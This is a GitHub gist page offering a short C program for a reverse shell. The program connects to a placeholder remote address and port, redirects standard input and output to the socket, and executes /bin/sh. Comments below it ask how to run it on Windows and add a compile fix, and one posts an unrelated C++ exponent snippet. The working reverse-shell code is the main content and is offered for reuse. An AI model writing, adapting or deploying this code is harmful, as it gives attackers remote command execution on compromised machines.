Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Simple C code to create a reverse shell
/* credits to http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/ */
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define REMOTE_ADDR "XXX.XXX.XXX.XXX"
#define REMOTE_PORT XXX
int main(int argc, char *argv[])
{
struct sockaddr_in sa;
int s;
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
sa.sin_port = htons(REMOTE_PORT);
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr *)&sa, sizeof(sa));
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
execve("/bin/sh", 0, 0);
return 0;
}
@masoudamiribostanabad
Copy link

masoudamiribostanabad commented May 26, 2018

#include
using namespace std;

int main() {
int a, b, temp=1;
cin>>a>>b;

for ( int i = 1 ; i <= b ; i++){
    temp = temp * a;    
}

cout<<temp;

cin.get();
return 0;

}
//try it with FOR loop

@Vedant-Bhalgama
Copy link

Vedant-Bhalgama commented Jul 27, 2020

can I use this on windows?

@Fissel-Laraki
Copy link

Fissel-Laraki commented Aug 30, 2020

no you can't use it on windows since he is using linux librairies (unistd.h and all the sys/...)

@0xTensho
Copy link

0xTensho commented Sep 5, 2020

You have to include inet.h :
#include <arpa/inet.h>
Else you're gonna have an error with gcc because it's using inet_addr()

@balook
Copy link

balook commented Nov 2, 2020

You have to include inet.h :
#include <arpa/inet.h>
Else you're gonna have an error with gcc because it's using inet_addr()

Is this working for u

@s0ubhik
Copy link

s0ubhik commented Nov 16, 2020

can I use this on windows?

or you can compile it with cywgin, but the required dll files must be on the path

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment